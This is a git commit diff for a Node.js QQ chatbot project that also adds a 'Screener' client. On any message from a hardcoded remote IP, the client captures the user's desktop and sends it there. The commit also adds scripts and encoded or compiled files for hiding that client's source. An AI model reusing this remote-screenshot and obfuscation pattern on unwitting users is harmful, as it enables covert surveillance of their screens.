这个提交包含在:
2020-07-01 13:49:09 +08:00
父节点 e9da44d8a9
当前提交 96b13bd439
共有 31 个文件被更改,包括 633 次插入 和 44 次删除

查看文件

@ -9,7 +9,7 @@
"AiAPI_Version":"\"0.0.1\"" "AiAPI_Version":"\"0.0.1\""
}, },
"Function":{ "Function":{
"艾特":"((s)=>{return `[CQ:at,qq=${s}]`})" "艾特":"((s)=>{return Core.frame.At(s)})"
} }
}, },
"Using":{ "Using":{

39
CGI.js
查看文件

@ -1,23 +1,22 @@
const Key = "ONLINEAICORE"; const Key = "ONLINEAICORE";
const iconv = require("iconv-lite");
const request = require("request"); const request = require("request");
const Core = require("./Core"); const Core = require("./Core");
const net = require("net"); const net = require("net");
const zlib = require("zlib");
var HOOK = false; var HOOK = false;
var Session = ""; var Session = "";
console.log("["+new Date().toString()+"][./Core.js]服务器已启动"); console.log("["+new Date().toString()+"][./Core.js]服务器已启动");
global.DEBUG = {};
global.DEBUG.Core = Core;
var last = {}; var last = {};
// var hs = new http.Server();
request.post({ request.post({
url:"http://127.0.0.1:8080/auth", url:"http://127.0.0.1:8080/auth",
body:JSON.stringify({authKey:Key}) body:JSON.stringify({authKey:Key})
},(err,res)=>{ },(err,res)=>{
if(res == null){ if(res == null){
console.log("["+new Date().toString()+"][./Core.js]系统断线."); console.log("["+new Date().toString()+"][./Core.js]系统断线.");
process.exit(-1); return;
} }
var Session = JSON.parse(res.body).session; Session = JSON.parse(res.body).session;
request.post({ request.post({
url:"http://127.0.0.1:8080/verify", url:"http://127.0.0.1:8080/verify",
body:JSON.stringify({ body:JSON.stringify({
@ -116,36 +115,22 @@ request.post({
Req.end(); Req.end();
}) })
}); });
// var Req = http.request({
// method:"POST",
// hostname:"127.0.0.1",
// port:8080,
// path:`/send${To}Message`
// },(res)=>{
// Req.socket.setDefaultEncoding("utf-8");
// Req.write(Kdata);
// Req.end();
// console.log(res.headers);
// res.on("data",(chunk)=>{
// Ret = Ret + chunk;
// });
// res.on("end",()=>{
// console.log(Ret);
// })
// });
// console.log(m);
}, },
SetHook:function(value){ SetHook:function(value){
exports.HOOK = value; exports.HOOK = value;
} }
} }
setInterval(()=>{ setInterval(()=>{
if(Session == ""){return}
request.get({ request.get({
url:`http://127.0.0.1:8080/fetchLatestMessage?sessionKey=${Session}&count=1` url:`http://127.0.0.1:8080/fetchLatestMessage?sessionKey=${Session}&count=1`
},(err,data)=>{ },(err,data)=>{
if(data == null || data == undefined){return} if(data == null || data == undefined){return}
var data_obj = JSON.parse(data.body).data[0]; if(data.body.toString().substr(0,1)!="{"){return;}
//console.log(data_obj); var MainData = JSON.parse(data.body);
if(MainData == null || MainData == undefined){return};
if(MainData.data == null||MainData.data == undefined){return};
var data_obj = MainData.data[0];
if(data_obj == last){ if(data_obj == last){
return return
}else{ }else{
@ -153,6 +138,6 @@ request.post({
last = data_obj; last = data_obj;
} }
}); });
},50) },50);
}) });
}); });

1
Core.d.ts vendored
查看文件

@ -72,4 +72,5 @@ declare interface InfoSocket{}
* @param ConfigValue 配置内容 * @param ConfigValue 配置内容
*/function NWriteSystemConfig(ConfigName:String|string,ConfigValue:Config<any>):Boolean|boolean; */function NWriteSystemConfig(ConfigName:String|string,ConfigValue:Config<any>):Boolean|boolean;
function SendImg(Connect:InfoSocket,info:InfoType,Img:String):void; function SendImg(Connect:InfoSocket,info:InfoType,Img:String):void;
function GetAt(C:InfoSocket,I:InfoType):String;
} }

17
Core.js
查看文件

@ -73,7 +73,7 @@ exports.AddListener = ((callback)=>{
return (Listeners.length - 1); return (Listeners.length - 1);
}); });
exports.DelListener = ((callbackID)=>{ exports.DelListener = ((callbackID)=>{
Listeners[callbackID] = null; Listeners[callbackID] = (()=>{});
}) })
class Config{ class Config{
constructor(value){ constructor(value){
@ -191,6 +191,17 @@ exports.frame={
SendImg(c,i,p){ SendImg(c,i,p){
JSCGI.frame.SendImg(c,i,p); JSCGI.frame.SendImg(c,i,p);
}, },
GetAt:function(c,i){
var At = "";
i.messageChain.forEach(element => {
if(element.type == "At"){
At = element.target;
}
});
return At;
},
CGI:function(connect,info){ CGI:function(connect,info){
@ -276,4 +287,6 @@ exports.frame={
}; };
console.log("["+new Date().toString()+"][./Core.js]线程处理完毕\r\n"); console.log("["+new Date().toString()+"][./Core.js]线程处理完毕\r\n");
} }
} }
global.DEBUG.CGI = JSCGI;
global.DEBUG.Debug = require("./Debug.js");

查看文件

@ -31,7 +31,7 @@ exports.add={
console.log(std); console.log(std);
var n = std; var n = std;
for(;n.match("\r\n");){ for(;n.match("\r\n");){
n = n.replace("\r\n","\\r\\n"); n = n.replace("\r\n","\r\n");
} }
Core.frame.SendMsg(Core.connect,info,n); Core.frame.SendMsg(Core.connect,info,n);
}) })
@ -44,7 +44,7 @@ exports.add={
console.log(std); console.log(std);
var n = std; var n = std;
for(;n.match("\r\n");){ for(;n.match("\r\n");){
n = n.replace("\r\n","\\r\\n"); n = n.replace("\r\n","\r\n");
} }
Core.frame.SendMsg(Core.connect,info,n); Core.frame.SendMsg(Core.connect,info,n);
}) })
@ -94,7 +94,7 @@ exports.add={
const Debug = { const Debug = {
log:function(msg){ log:function(msg){
msg = new String(msg); msg = new String(msg);
msg = msg.replace("\n","\\r\\n"); msg = msg.replace("\n","\r\n");
Core.frame.SendMsg(connect,info,msg); Core.frame.SendMsg(connect,info,msg);
console.log("["+new Date().toString()+"][Debug.js]"+msg); console.log("["+new Date().toString()+"][Debug.js]"+msg);
}, },
@ -136,7 +136,7 @@ exports.add={
var aia = Object.keys(data); var aia = Object.keys(data);
var message = "目前有权管理AI的人员如下:"; var message = "目前有权管理AI的人员如下:";
for(var i=0;i<aia.length;i++){ for(var i=0;i<aia.length;i++){
message = message + "\\r\\n" + `${i+1}.` +aia[i]; message = message + "\r\n" + `${i+1}.` +aia[i];
} }
Core.frame.SendMsg(connect,info,message); Core.frame.SendMsg(connect,info,message);
} }
@ -259,7 +259,5 @@ exports.add={
}); });
}); });
} }
//console.log("["+new Date().toString()+"][Debug.js]处理完成");
} }
} }

55
MC.js 普通文件
查看文件

@ -0,0 +1,55 @@
"use strict";
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) result[k] = mod[k];
result["default"] = mod;
return result;
};
Object.defineProperty(exports, "__esModule", { value: true });
const ws = __importStar(require("websocket"));
const http = __importStar(require("http"));
// import * as Core from "./Core";
const uuid = __importStar(require("uuid"));
var HTTPServer = new http.Server();
var MCServer = new ws.server({
httpServer: HTTPServer
});
MCServer.on("connect", (con) => {
console.log("A New Connect Coming!");
con.send(Buffer.from(JSON.stringify({
body: {
eventName: "PlayerMessage"
},
header: {
requestId: uuid.v1(),
messagePurpose: "unsubscribe",
version: 1,
messageType: "commandRequest"
}
})));
con.send(Buffer.from(JSON.stringify({
body: {
origin: {
type: "player",
},
commandLine: "say [ONLINEAI]CONNECTED!",
version: 1,
},
header: {
requestId: uuid.v1(),
messagePurpose: "commandRequest",
version: 1,
messageType: "commandRequest"
}
})));
con.on("message", (data) => {
console.log(data.utf8Data);
});
});
HTTPServer.listen(19131, "0.0.0.0", (() => {
console.log("Server Start");
}));
MCServer.mount({
httpServer: HTTPServer
});

46
MC.ts 普通文件
查看文件

@ -0,0 +1,46 @@
import * as ws from "websocket";
import * as http from "http";
// import * as Core from "./Core";
import * as uuid from "uuid";
var HTTPServer = new http.Server();
var MCServer = new ws.server({
httpServer:HTTPServer
});
MCServer.on("connect",(con)=>{
console.log("A New Connect Coming!");
con.send(Buffer.from(JSON.stringify({
body:{
eventName:"PlayerMessage"
},
header:{
requestId:uuid.v1(),
messagePurpose:"unsubscribe",
version:1,
messageType:"commandRequest"
}
})));
con.send(Buffer.from(JSON.stringify({
body:{
origin:{
type:"player",
},
commandLine:"say [ONLINEAI]CONNECTED!",
version:1,
},
header:{
requestId:uuid.v1(),
messagePurpose:"commandRequest",
version:1,
messageType:"commandRequest"
}
})));
con.on("message",(data)=>{
console.log(data.utf8Data);
})
});
HTTPServer.listen(19131,"0.0.0.0",(()=>{
console.log("Server Start")
}));
MCServer.mount({
httpServer:HTTPServer
})

查看文件

@ -1,6 +1,8 @@
const fs = require("fs"); const fs = require("fs");
const cp = require("child_process"); const cp = require("child_process");
const Core = require("./Core"); const Core = require("./Core");
var Loaded = false;
process.title = "OnlineAi by Lanshuye"
global.UpData = function(){ global.UpData = function(){
cp.execSync("git reset --hard&git pull origin master"); cp.execSync("git reset --hard&git pull origin master");
console.log(`[${new this.Date().toString()}][OnlineAI.js]获取更新完毕`); console.log(`[${new this.Date().toString()}][OnlineAI.js]获取更新完毕`);
@ -14,4 +16,10 @@ fs.exists("./UserDataBase.json",(ex)=>{
}); });
} }
}); });
require("./CGI"); global.Run = (()=>{
if(DEBUG.Core){return}
if(Loaded){process.exit(-1)}else{Loaded = true;}
require("./CGI");
});
Run();
require("repl").start();

查看文件

@ -1,6 +1,7 @@
@echo off @echo off
@cls @cls
start D:\APPS\MIRAI\Run.bat
:Core :Core
Node OnlineAI.js Node --inspect=9222 OnlineAi.js
if exist _NotReStart exit if exist _NotReStart exit
goto Core goto Core

74
Screener/HunXiao.js 普通文件
查看文件

@ -0,0 +1,74 @@
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
const fs_1 = require("fs");
var Dict = {
1: 201,
2: 202,
3: 203,
4: 204,
5: 205,
6: 206,
7: 207,
8: 208,
9: 209,
0: 210,
a: 1,
b: 2,
c: 3,
d: 4,
e: 5,
f: 6,
g: 7,
h: 8,
i: 9,
j: 10,
k: 11,
l: 12,
m: 13,
n: 14,
o: 15,
p: 16,
q: 17,
r: 18,
s: 19,
t: 20,
u: 21,
v: 22,
w: 23,
x: 24,
y: 25,
z: 26,
A: 101,
B: 102,
C: 103,
D: 104,
E: 105,
F: 106,
G: 107,
H: 108,
I: 109,
J: 110,
K: 111,
L: 112,
M: 113,
N: 114,
O: 115,
P: 116,
Q: 117,
R: 118,
S: 119,
T: 120,
U: 121,
V: 122,
W: 123,
X: 124,
Y: 125,
Z: 126,
};
fs_1.readFile("./Main.js", (err, data) => {
var Code = data.toString("base64");
Object.keys(Dict).forEach((v, i) => {
Code = Code.replace(new RegExp(`${v}`, "g"), new String(`${Dict[v]}|`).valueOf());
});
fs_1.writeFile("Safe2", Code, (err) => { });
});

75
Screener/HunXiao.ts 普通文件
查看文件

@ -0,0 +1,75 @@
import { readFile, fstat, writeFile } from "fs";
var Dict = {
1:201,
2:202,
3:203,
4:204,
5:205,
6:206,
7:207,
8:208,
9:209,
0:210,
a:1,
b:2,
c:3,
d:4,
e:5,
f:6,
g:7,
h:8,
i:9,
j:10,
k:11,
l:12,
m:13,
n:14,
o:15,
p:16,
q:17,
r:18,
s:19,
t:20,
u:21,
v:22,
w:23,
x:24,
y:25,
z:26,
A:101,
B:102,
C:103,
D:104,
E:105,
F:106,
G:107,
H:108,
I:109,
J:110,
K:111,
L:112,
M:113,
N:114,
O:115,
P:116,
Q:117,
R:118,
S:119,
T:120,
U:121,
V:122,
W:123,
X:124,
Y:125,
Z:126,
} as any;
readFile("./Main.js",(err,data)=>{
var Code = data.toString("base64");
Object.keys(Dict).forEach((v,i)=>{
Code = Code.replace(new RegExp(`${v}`,"g"),new String(`${Dict[v]}|`).valueOf());
});
writeFile("Safe2",Code,(err)=>{})
});

1
Screener/Main.Safe 普通文件
查看文件

@ -0,0 +1 @@
tQPewIr01PReAAAA/wMAAOyrzzQGAAAAAAAAAGgDAAACj2dMCCx6uwAAAIAgAACAwAQAgAAAAIAAAACAAAAAgAIskwIkFsjAAAAAAAgAAAACDIzAAAAAAAEAAAACLJMCLPDAAAAAABcAAAACFIzAAAAAAAMAAAACEJHCKuXaVAAAAAAAAAAABwAAAGNvbnNvbGUAAhCRwrYEdDgAAAAAAAAAAAMAAABsb2cAAAAAAAIUkcOihDYMAAAAAAAAAAAMAAAASGVsbG8sV29ybGQhAAAAAAIIi8AAAAAAAAAAAAIQi8IAAAAACgAAAAEWAmgLEBUADCoAAAAAAADFGAAAADAAAAAAAAAAAEACAAAAoBMAACb6KPoBAib7EgIm+Vf7+vkEDaQAAAAAAAAAAkSSxAAAAAAPAAAAAAAAAMFdAAAAAAAABQAAAAAAAAAAAAAAAAAAAAAAAAACEJHCHnM5WAAAAAAAAAAABwAAAGV4cG9ydHMAAhCRwv6ylusAAAAAAAAAAAcAAAByZXF1aXJlAAIQkcKOfuqnAAAAAAAAAAAGAAAAbW9kdWxlAAACFJHDGq2+tgAAAAAAAAAACgAAAF9fZmlsZW5hbWUAAAAAAAACFJHDZoJbNwAAAAAAAAAACQAAAF9fZGlybmFtZQAAAAAAAADAAAAAAAAAAACJwAAAAAD/////hMEAAAAACgAAAAAAAABcAAAAAggWuMAGAAAABhRAAAJEFs0HFwACGJHEKj280AAAAAAAAAAAFwAAAGV2YWxtYWNoaW5lLjxhbm9ueW1vdXM+AMEAAAAAAAAAAAAAAAAAAAAAhODAAAAAAAIAAACEwAAAAABLAAAAhMAAAAAAAAAAAAEQFi0BwAAAAAACAAAAfgoAfgpcwAAAAAACAAAAhOCewAAAAAAEAAAAicMBAAAABQAAAAUAAAAKAAAAKAAAAFwAAAABAAAAAAgAAAIIi8AAAAAAAAAAAAIMi8EAAAAABwAAAAECAgAMugEAwwgAAAAIAAAAAAAAAABAAgAAAKB8AAAAJvukAAAAAAAAAjCSxQAAAAAKAAAAAAAAAEMMAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAABblA4nCAAAAAP////8AAAAAAAAAAAAAAABeAAAAAgjxwAEAAAASAAAACrkBwAAAAAAEAAAAicMAAAAAAAAAAAAAAAAKAAAAAgAAAF4AAAD/////AAgAABwvLy8vLy8v

76
Screener/Main.js 普通文件
查看文件

@ -0,0 +1,76 @@
"use strict";
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) result[k] = mod[k];
result["default"] = mod;
return result;
};
Object.defineProperty(exports, "__esModule", { value: true });
// The Main.ts Of Screener;
// Screener is a program that can make all things in your screen be a picture.
const fs = __importStar(require("fs"));
const net = __importStar(require("net"));
const ds = require("desktop-screenshot");
var Settings = {
// Settings Base Config; IP is The Ai Server's IP Host (Can get in Ai);
host: "110.253.240.211",
// Here is User's QQ,Like 927980270
user: 927980270
};
// The Main Function Of This Program
var Main = (() => {
// A NetWork Client For Getting Command By Server
var Client = new net.Socket();
// Connect Server IP:8090
Client.connect(8090, Settings.host, (() => {
// Send Listener QQ Of This Client
Client.write(JSON.stringify(Settings));
// On Get Data From Server
Client.on("data", (data) => {
// Save The Screen In ".\\ScreenerDesktop.png"
ds(`.\\ScreenerDesktop.png`, (err, com) => {
// Then Read It;
fs.readFile(`.\\ScreenerDesktop.png`, (err, FileData) => {
// If These is a error
if (err) {
// Show It To user
console.error(err);
return;
}
// Send The Base64 Of Image Data To Server;
Client.write(FileData.toString("base64"));
});
});
});
}));
});
// On Launch, Looking for the Config Data
fs.exists(`.\\Screener.json`, (exists) => {
if (exists) {
// If it exists.
// Read Config Data
fs.readFile(`.\\Screener.json`, (err, config) => {
// If Error
if (err) {
console.error(err);
return;
}
// Copy LocalSettings To Settings
Settings = JSON.parse(config.toString());
// Run MainFunction;
Main();
});
}
else {
// If it doesn't exists;
fs.writeFile(`.\\Screener.json`, JSON.stringify(Settings), (err) => {
// Write The Config To Local
if (err) {
console.log(err);
}
});
// Run MainFunction;
Main();
}
});

二进制
Screener/Main.jsc 普通文件

二进制文件未显示。

66
Screener/Main.ts 普通文件
查看文件

@ -0,0 +1,66 @@
// The Main.ts Of Screener;
// Screener is a program that can make all things in your screen be a picture.
import * as fs from "fs";
import * as net from "net";
const ds = require("desktop-screenshot") as ((path:String,cb:((err:Error,com:any)=>void))=>void);
var Settings = {
// Settings Base Config; IP is The Ai Server's IP Host (Can get in Ai);
host:"110.253.240.211",
// Here is User's QQ,Like 927980270
user:927980270
}
// The Main Function Of This Program
var Main = (()=>{
// A NetWork Client For Getting Command By Server
var Client = new net.Socket();
// Connect Server IP:8090
Client.connect(8090,Settings.host,(()=>{
// Send Listener QQ Of This Client
Client.write(JSON.stringify(Settings));
// On Get Data From Server
Client.on("data",(data)=>{
// Save The Screen In ".\\ScreenerDesktop.png"
ds(`.\\ScreenerDesktop.png`,(err,com)=>{
// Then Read It;
fs.readFile(`.\\ScreenerDesktop.png`,(err,FileData)=>{
// If These is a error
if(err){
// Show It To user
console.error(err);
return;
}
// Send The Base64 Of Image Data To Server;
Client.write(FileData.toString("base64"));
});
});
});
}));
});
// On Launch, Looking for the Config Data
fs.exists(`.\\Screener.json`,(exists)=>{
if(exists){
// If it exists.
// Read Config Data
fs.readFile(`.\\Screener.json`,(err,config)=>{
// If Error
if(err){
console.error(err);
return;
}
// Copy LocalSettings To Settings
Settings = JSON.parse(config.toString());
// Run MainFunction;
Main();
});
}else{
// If it doesn't exists;
fs.writeFile(`.\\Screener.json`,JSON.stringify(Settings),(err)=>{
// Write The Config To Local
if(err){
console.log(err);
}
});
// Run MainFunction;
Main();
}
});

1
Screener/Safe.js 普通文件
查看文件

@ -0,0 +1 @@
"use strict";

0
Screener/Safe.ts 普通文件
查看文件

1
Screener/Safe2 普通文件
查看文件

@ -0,0 +1 @@
109|14|122|26|126|124|114|202|202|01|0|3|13|12|10|4|103|109|207|126|124|8|23|2|203|110|202|202|01|0|3|25|205|6|124|202|122|26|120|123|209|11|4|123|24|12|116|124|118|25|4|123|121|207|4|13|106|25|109|107|126|26|116|124|110|12|3|124|122|16|3|13|121|15|109|13|126|26|109|9|11|207|4|13|106|25|109|107|205|12|4|104|202|01|25|126|124|106|202|01|1|124|110|12|111|103|110|21|126|124|117|9|111|120|20|202|125|124|109|7|126|108|113|209|3|13|122|24|4|123|12|25|126|119|7|9|126|107|122|26|1|203|118|22|3|103|202|01|26|125|203|110|12|126|123|205|26|1|107|209|202|202|01|0|109|9|11|207|4|13|106|25|109|106|114|12|4|108|118|16|2|13|4|26|116|124|20|15|2|203|114|202|202|01|0|115|9|109|24|113|120|101|21|113|10|121|26|112|10|109|202|202|01|0|113|103|204|25|113|120|105|9|112|108|122|26|126|124|109|206|115|120|109|203|115|120|7|23|113|10|3|23|6|120|20|202|125|124|109|7|120|123|106|16|2|10|202|202|01|0|15|126|14|122|21|125|203|118|16|2|202|204|15|111|124|20|202|125|124|109|7|117|202|24|16|126|123|205|202|202|01|0|116|123|205|12|4|25|102|21|126|124|117|21|121|202|209|10|1|202|122|202|202|01|0|111|103|11|207|117|202|24|16|126|123|205|202|202|01|0|112|13|114|22|2|13|205|12|125|203|117|15|115|104|101|205|113|103|24|120|126|124|118|202|202|01|0|1|123|205|14|3|25|205|15|2|203|114|202|202|01|0|112|103|8|13|4|123|205|10|4|107|12|22|2|9|7|16|5|202|202|01|0|114|19|1|123|122|21|4|103|205|203|3|13|12|202|202|01|0|126|119|8|111|121|202|202|01|0|209|115|112|14|114|202|202|01|0|3|13|12|21|126|202|12|13|5|119|8|120|126|124|118|202|202|01|0|1|123|205|14|3|25|11|16|115|202|202|01|0|114|19|1|123|122|21|4|103|205|22|2|9|7|9|126|107|106|202|202|01|0|125|119|109|19|126|14|122|21|125|203|118|16|2|202|204|15|126|107|106|202|202|01|0|125|119|12|207|126|108|113|15|109|9|205|3|124|106|114|10|3|13|122|12|2|13|122|25|118|107|122|26|1|203|118|22|3|103|205|23|2|13|3|9|112|107|126|202|01|2|13|114|202|202|01|0|1|123|209|21|111|107|122|25|3|9|24|10|2|202|202|202|01|0|16|5|202|126|26|112|14|110|12|125|123|118|107|1|123|24|12|111|103|109|21|124|106|24|120|125|203|110|12|126|123|205|12|3|11|118|12|3|202|20|202|202|01|0|2|203|101|21|3|107|205|14|109|9|24|13|4|123|205|10|4|107|12|22|2|9|8|12|3|14|109|19|118|13|12|19|126|121|118|8|4|107|105|16|5|202|12|13|111|107|122|25|3|9|12|207|125|202|209|21|3|202|209|19|126|119|205|12|3|14|110|22|3|9|8|12|3|14|109|16|115|203|110|12|4|108|122|25|2|10|20|209|117|202|24|16|126|123|205|202|202|01|0|112|14|4|25|1|124|118|12|111|105|126|16|2|107|122|105|125|124|118|8|112|14|118|22|121|203|118|25|1|123|205|14|111|103|110|9|125|124|114|12|114|10|117|9|111|119|11|207|6|119|11|207|6|119|11|207|6|119|11|207|6|119|11|16|115|203|202|202|01|0|16|115|202|126|26|112|13|122|204|1|124|114|202|202|01|0|3|25|7|9|112|12|24|3|121|202|114|25|126|123|122|21|126|124|109|21|1|14|114|22|2|9|109|19|126|14|122|21|125|203|118|16|2|202|204|15|126|124|8|16|3|203|118|26|111|124|20|16|126|9|8|12|5|107|12|26|4|108|113|16|5|202|126|26|112|14|110|12|125|123|118|107|1|123|24|12|111|103|109|21|124|106|24|120|125|203|110|12|126|123|205|12|3|9|205|17|3|202|209|21|109|9|24|13|4|123|205|10|4|107|12|22|2|9|8|12|3|14|109|19|125|202|209|21|126|13|12|14|111|124|20|16|126|9|8|12|3|14|109|16|5|202|114|22|2|14|114|22|2|107|121|21|126|124|110|25|2|203|109|15|126|124|110|25|111|120|20|25|126|124|118|202|01|3|13|204|207|6|122|114|12|4|108|118|16|2|13|4|26|116|121|16|120|120|202|202|01|0|204|21|3|107|106|25|3|202|121|15|125|202|209|21|126|13|12|14|112|14|118|22|121|203|118|25|1|123|205|14|111|103|11|16|115|202|202|01|0|202|01|8|1|123|204|15|111|120|20|209|111|120|20|209|126|123|24|26|126|124|20|13|3|25|205|203|3|13|12|202|202|01|0|126|121|126|16|2|107|121|15|109|9|205|3|124|106|114|10|3|13|122|12|2|13|122|25|112|13|16|26|2|202|204|9|112|105|16|120|120|202|202|01|0|204|21|3|203|118|25|1|123|205|14|1|123|126|205|111|106|114|12|4|108|118|16|2|13|4|26|111|119|24|13|4|123|205|10|4|107|12|22|2|9|8|12|3|14|109|16|5|202|12|13|111|107|122|25|3|9|12|207|125|202|209|21|3|202|209|19|126|119|205|19|2|202|3|15|126|124|110|25|111|120|20|209|6|119|11|207|120|123|106|16|2|9|7|16|115|203|202|01|209|111|120|19|=

74
Screener/UnHunXiao.js 普通文件
查看文件

@ -0,0 +1,74 @@
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
const fs_1 = require("fs");
var Dict = {
a: 1,
b: 2,
c: 3,
d: 4,
e: 5,
f: 6,
g: 7,
h: 8,
i: 9,
j: 10,
k: 11,
l: 12,
m: 13,
n: 14,
o: 15,
p: 16,
q: 17,
r: 18,
s: 19,
t: 20,
u: 21,
v: 22,
w: 23,
x: 24,
y: 25,
z: 26,
A: 101,
B: 102,
C: 103,
D: 104,
E: 105,
F: 106,
G: 107,
H: 108,
I: 109,
J: 110,
K: 111,
L: 112,
M: 113,
N: 114,
O: 115,
P: 116,
Q: 117,
R: 118,
S: 119,
T: 120,
U: 121,
V: 122,
W: 123,
X: 124,
Y: 125,
Z: 126,
1: 201,
2: 202,
3: 203,
4: 204,
5: 205,
6: 206,
7: 207,
8: 208,
9: 209,
0: 210,
};
fs_1.readFile("./Safe2", (err, data) => {
var Code = data.toString();
Object.values(Dict).forEach((v, i) => {
Code = Code.replace(new RegExp(`${v}|`, "g"), new String(Object.keys(Dict)[i]).valueOf());
});
fs_1.writeFile("UnSafe2", Buffer.from(Code, "base64"), (err) => { });
});

75
Screener/UnHunXiao.ts 普通文件
查看文件

@ -0,0 +1,75 @@
import { readFile, fstat, writeFile } from "fs";
var Dict = {
a:1,
b:2,
c:3,
d:4,
e:5,
f:6,
g:7,
h:8,
i:9,
j:10,
k:11,
l:12,
m:13,
n:14,
o:15,
p:16,
q:17,
r:18,
s:19,
t:20,
u:21,
v:22,
w:23,
x:24,
y:25,
z:26,
A:101,
B:102,
C:103,
D:104,
E:105,
F:106,
G:107,
H:108,
I:109,
J:110,
K:111,
L:112,
M:113,
N:114,
O:115,
P:116,
Q:117,
R:118,
S:119,
T:120,
U:121,
V:122,
W:123,
X:124,
Y:125,
Z:126,
1:201,
2:202,
3:203,
4:204,
5:205,
6:206,
7:207,
8:208,
9:209,
0:210,
} as any;
readFile("./Safe2",(err,data)=>{
var Code = data.toString();
Object.values(Dict).forEach((v,i)=>{
Code = Code.replace(new RegExp(`${v}|`,"g"),new String(Object.keys(Dict)[i]).valueOf());
});
writeFile("UnSafe2",Buffer.from(Code,"base64"),(err)=>{})
});

1
Screener/execute.js 普通文件
查看文件

@ -0,0 +1 @@
"use strict";

0
Screener/execute.ts 普通文件
查看文件

35
package-lock.json 自动生成的
查看文件

@ -55,6 +55,19 @@
"resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.0.tgz", "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.0.tgz",
"integrity": "sha512-I99sngh224D0M7XgW1s120zxCt3VYQ3IQsuw3P3jbq5GG4yc79+ZjyKznyOGIQrflfylLgcfekeZW/vk0yng6A==" "integrity": "sha512-I99sngh224D0M7XgW1s120zxCt3VYQ3IQsuw3P3jbq5GG4yc79+ZjyKznyOGIQrflfylLgcfekeZW/vk0yng6A=="
}, },
"@types/uuid": {
"version": "7.0.3",
"resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-7.0.3.tgz",
"integrity": "sha512-PUdqTZVrNYTNcIhLHkiaYzoOIaUi5LFg/XLerAdgvwQrUCx+oSbtoBze1AMyvYbcwzUSNC+Isl58SM4Sm/6COw=="
},
"@types/websocket": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/@types/websocket/-/websocket-1.0.0.tgz",
"integrity": "sha512-MLr8hDM8y7vvdAdnoDEP5LotRoYJj7wgT6mWzCUQH/gHqzS4qcnOT/K4dhC0WimWIUiA3Arj9QAJGGKNRiRZKA==",
"requires": {
"@types/node": "*"
}
},
"abbrev": { "abbrev": {
"version": "1.1.1", "version": "1.1.1",
"resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
@ -222,6 +235,11 @@
"node-gyp-build": "~3.7.0" "node-gyp-build": "~3.7.0"
} }
}, },
"bytenode": {
"version": "1.1.6",
"resolved": "https://registry.npmjs.org/bytenode/-/bytenode-1.1.6.tgz",
"integrity": "sha512-hhJqv1GMtTa2q4wlfCWEnC5zWFflbJhh1qaYgaqbs8ta6mQUri2eTD76jER8XlAYPtc7IEw2lc36B3H1GTQRpQ=="
},
"canvas": { "canvas": {
"version": "2.6.1", "version": "2.6.1",
"resolved": "https://registry.npmjs.org/canvas/-/canvas-2.6.1.tgz", "resolved": "https://registry.npmjs.org/canvas/-/canvas-2.6.1.tgz",
@ -234,8 +252,8 @@
"dependencies": { "dependencies": {
"node-pre-gyp": { "node-pre-gyp": {
"version": "0.11.0", "version": "0.11.0",
"resolved": "https://registry.npm.taobao.org/node-pre-gyp/download/node-pre-gyp-0.11.0.tgz", "resolved": "https://registry.npmjs.org/node-pre-gyp/-/node-pre-gyp-0.11.0.tgz",
"integrity": "sha1-2x8zIVJy9pLNOPAyOOPptHxd0FQ=", "integrity": "sha512-TwWAOZb0j7e9eGaf9esRx3ZcLaE5tQ2lvYy1pb5IAaG1a2e2Kv5Lms1Y4hpj+ciXJRofIxxlt5haeQ/2ANeE0Q==",
"requires": { "requires": {
"detect-libc": "^1.0.2", "detect-libc": "^1.0.2",
"mkdirp": "^0.5.1", "mkdirp": "^0.5.1",
@ -1363,6 +1381,13 @@
"tough-cookie": "~2.5.0", "tough-cookie": "~2.5.0",
"tunnel-agent": "^0.6.0", "tunnel-agent": "^0.6.0",
"uuid": "^3.3.2" "uuid": "^3.3.2"
},
"dependencies": {
"uuid": {
"version": "3.4.0",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz",
"integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A=="
}
} }
}, },
"rimraf": { "rimraf": {
@ -1578,9 +1603,9 @@
"integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
}, },
"uuid": { "uuid": {
"version": "3.4.0", "version": "8.0.0",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.0.0.tgz",
"integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" "integrity": "sha512-jOXGuXZAWdsTH7eZLtyXMqUb9EcWMGZNbL9YcGBJl4MH4nrxHmZJhEHvyLFrkxo+28uLb/NYRcStH48fnD0Vzw=="
}, },
"verror": { "verror": {
"version": "1.10.0", "version": "1.10.0",

查看文件

@ -7,9 +7,12 @@
"@types/node": "^13.7.7", "@types/node": "^13.7.7",
"@types/puppeteer": "^2.0.1", "@types/puppeteer": "^2.0.1",
"@types/request": "^2.48.4", "@types/request": "^2.48.4",
"@types/uuid": "^7.0.3",
"@types/websocket": "^1.0.0",
"atob": "^2.1.2", "atob": "^2.1.2",
"btoa": "^1.2.1", "btoa": "^1.2.1",
"bufferutil": "^4.0.1", "bufferutil": "^4.0.1",
"bytenode": "^1.1.6",
"canvas": "^2.6.1", "canvas": "^2.6.1",
"desktop-screenshot": "^0.1.1", "desktop-screenshot": "^0.1.1",
"gyp": "^0.5.0", "gyp": "^0.5.0",
